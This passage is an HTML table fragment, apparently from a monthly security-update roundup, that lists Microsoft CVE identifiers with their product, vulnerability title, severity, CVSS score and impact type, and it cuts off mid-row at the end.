 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
